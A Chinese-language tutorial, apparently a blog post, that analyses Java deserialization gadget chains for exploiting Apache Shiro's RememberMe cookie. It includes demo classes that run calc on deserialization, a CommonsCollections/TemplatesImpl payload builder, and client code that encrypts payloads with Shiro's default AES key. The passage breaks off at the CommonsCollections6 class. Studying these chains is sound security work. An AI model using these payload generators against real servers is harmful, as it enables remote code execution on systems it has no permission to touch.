背景:
+ 在审计shrio框架的时候,不存在cc链,只有cb链,需要进行cb链的分析和审计demo
> 依旧先写一个demo,帮助理解前沿知识 >
package com.example.serializabledemo;
import java.io.*;
public class SeriaTest implements Serializable {
//序列化操作
public static void serializeT(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seria.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, IllegalAccessException, NoSuchFieldException {
User u = new User("anger","boy",18);
//System.out.println(u);
serializeT(u);
}
}
User类:
package com.example.serializabledemo;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class User implements Serializable {
public String name="anger";
public String gender="man";
public Integer age=100;
public User(String name,String gender,Integer age){
this.name=name;
this.gender=gender;
this.age = age;
// System.out.println(name);
// System.out.println(gender);
// System.out.println(age);
}
public String getName() {
System.out.println("getName被调用");
return name;
}
public Integer getAge() {
System.out.println("getAge被调用");
return age;
}
public String getGender() {
System.out.println("getGender被调用");
return gender;
}
public String toString() {
return "User{" +
"name='" + name + '\'' +
", gender='" + gender + '\'' +
", age=" + age +
'}';
//Runtime.getRuntime().exec("calc");
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确defaultReadObject
//ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
这里的代码主要是通过创建一个User方法,其中参数为anger,boy,18
[外链图片转存中…(img-wYB7Fjzt-1734834276199)]
运行序列化文件,生成这个seria.bin文件
然后继续运行反序列化,就会弹出计算器
[外链图片转存中…(img-kfhqJcc4-1734834276199)]
这里原因在于这个User类中的readObject方法,这相当于是在重写方法,执行calc,导致弹出计算器
注释:
> 这里的反序列化中的代码中,Object obj = ois.readObject();就会触发这个User类中的readObject方法 > > 然后再readObject方法中,调用了Runtime.x.exec方法,导致了弹出计算器 >ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
然后再写一个demo:
package com.example.serializabledemo;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class Beananger {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
PropertyUtils.getProperty(new User("anger","man",18),"name");
}
}
- 这里代码主要是看这个PropertyUtils.getProperty方法,其中他有两个参数:bean,name,所以这里bean参数传入一个new User的方法,name就传入name,执行这里的代码
[外链图片转存中…(img-xm6IraSZ-1734834276199)]可以看到getName方法被调用了那么继续换个参数尝试[外链图片转存中…(img-sF0kr37a-1734834276199)]
这里看到这个调用的方法为getAge方法,所以这里的方法调用是有参数决定的
注释:
> 这里的PropertyUtils.getProperty方法就是CB里面的类方法,对象的一个方法进行调用 > > name=age -> 类的getAge方法 > > 这里的这个方法是整个cb链的利用成功的主要节点,关键点!!! >举例
```plain PropertyUtils.getProperty(new Person(),"name"); //那么自动调用Person对象里面的getName方法 PropertyUtils.getProperty(new TemplatesImpl(),"outputProperties") //那么自动调用TemplatesImpl对象里面的getOutputProperties方法 ```web端的demo
+ 写一个web端的demo看看[外链图片转存中…(img-j9H2DMZR-1734834276199)]
[外链图片转存中…(img-hMgZihLm-1734834276200)]
[外链图片转存中…(img-W05cEvld-1734834276200)]
- 登录成功尝试看看抓包利用
直接使用已有现成的工具代码:
[外链图片转存中…(img-qrNYzeRU-1734834276200)]
这里项目中泄露三个利用链,分别是cc6链,ccshiro,cb链
逐一分析:
直接启动这个服务代码
[外链图片转存中…(img-SmAQTIMa-1734834276200)]
这里生成好的加密字符串,直接放在前面抓包得到的RememberMe中
[外链图片转存中…(img-U8XF1TNC-1734834276200)]
修改后,发包,这里回显200,但是没有执行出shiro利用链的结果,无法利用!
这里调用的这个ccshrio文件为:
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
public class Client {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
注:
+ 这里就是利用前面`byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());`生成的加密字符串,从而调用到ccshrio中,在ccshrio中会执行恶意代码,导致利用,与后面的cc链,cb链都是一样的思路CC链:[外链图片转存中…(img-szLqxQun-1734834276200)]
这里修改完请求包,依然没有利用成功
Client0代码:
public class Client0 {
public static void main(String []args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
CommonsCollections6代码:
public class CommonsCollections6 {
public byte[] getPayload(String command) throws Exception {